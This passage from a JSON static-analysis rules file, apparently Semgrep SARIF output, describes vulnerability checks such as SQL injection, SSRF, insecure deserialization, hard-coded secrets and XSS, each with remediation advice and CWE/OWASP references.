trade"},"helpUri":"https://semgrep.dev/r/solidity.security.no-slippage-check.no-slippage-check","id":"solidity.security.no-slippage-check.no-slippage-check","name":"solidity.security.no-slippage-check.no-slippage-check","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.no-slippage-check.no-slippage-check"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil."},"help":{"markdown":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization)\n - [https://ruby-doc.org/core-3.1.2/doc/security_rdoc.html](https://ruby-doc.org/core-3.1.2/doc/security_rdoc.html)\n - [https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ](https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb)\n","text":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil."},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","id":"ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","name":"ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.aws-lambda.security.database-sqli.database-sqli)\n - [https://pkg.go.dev/database/sql#DB.Query](https://pkg.go.dev/database/sql#DB.Query)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"helpUri":"https://semgrep.dev/r/go.aws-lambda.security.database-sqli.database-sqli","id":"go.aws-lambda.security.database-sqli.database-sqli","name":"go.aws-lambda.security.database-sqli.database-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.aws-lambda.security.database-sqli.database-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","id":"javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","name":"javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands"},"help":{"markdown":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.twilio.security.twiml-injection.twiml-injection)\n - [https://codeberg.org/fennix/funjection](https://codeberg.org/fennix/funjection)\n","text":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands"},"helpUri":"https://semgrep.dev/r/python.twilio.security.twiml-injection.twiml-injection","id":"python.twilio.security.twiml-injection.twiml-injection","name":"python.twilio.security.twiml-injection.twiml-injection","properties":{"precision":"very-high","tags":["CWE-91: XML Injection","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.twilio.security.twiml-injection.twiml-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","id":"python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","name":"python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"help":{"markdown":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape)\n - [https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates)\n - [https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code](https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code)\n","text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","id":"python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","name":"python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings."},"help":{"markdown":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli)\n - [https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values](https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values)\n - [https://scala-slick.org/doc/3.2.0/sql-to-slick.html#non-optimal-sql-code](https://scala-slick.org/doc/3.2.0/sql-to-slick.html#non-optimal-sql-code)\n","text":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli","id":"scala.play.security.tainted-slick-sqli.tainted-slick-sqli","name":"scala.play.security.tainted-slick-sqli.tainted-slick-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-slick-sqli.tainted-slick-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher."},"help":{"markdown":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","id":"terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","name":"terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules"},"help":{"markdown":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#bypass](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#bypass)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#bypass](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#bypass)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-network-security#trusted-microsoft-services](https://docs.microsoft.com/en-us/azure/storage/common/storage-network-security#trusted-microsoft-services)\n","text":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","id":"terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","name":"terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"help":{"markdown":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","id":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","name":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","id":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","name":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","id":"swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","name":"swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.io-source-ssrf.io-source-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://www.scala-lang.org/api/current/scala/io/Source$.html#fromURL(url:java.net.URL)(implicitcodec:scala.io.Codec):scala.io.BufferedSource](https://www.scala-lang.org/api/current/scala/io/Source$.html#fromURL(url:java.net.URL)(implicitcodec:scala.io.Codec):scala.io.BufferedSource)\n","text":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.io-source-ssrf.io-source-ssrf","id":"scala.lang.security.audit.io-source-ssrf.io-source-ssrf","name":"scala.lang.security.audit.io-source-ssrf.io-source-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.io-source-ssrf.io-source-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"help":{"markdown":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.render-template-string.render-template-string)\n - [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html)\n","text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.render-template-string.render-template-string","id":"python.flask.security.audit.render-template-string.render-template-string","name":"python.flask.security.audit.render-template-string.render-template-string","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.render-template-string.render-template-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-eval.user-eval)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-eval.user-eval","id":"python.django.security.injection.code.user-eval.user-eval","name":"python.django.security.injection.code.user-eval.user-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-eval.user-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Kolide API Key detected"},"help":{"markdown":"Kolide API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Kolide API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","id":"generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","name":"generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"help":{"markdown":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded)\n","text":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","id":"cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","name":"cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","properties":{"precision":"very-high","tags":["CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override)\n - 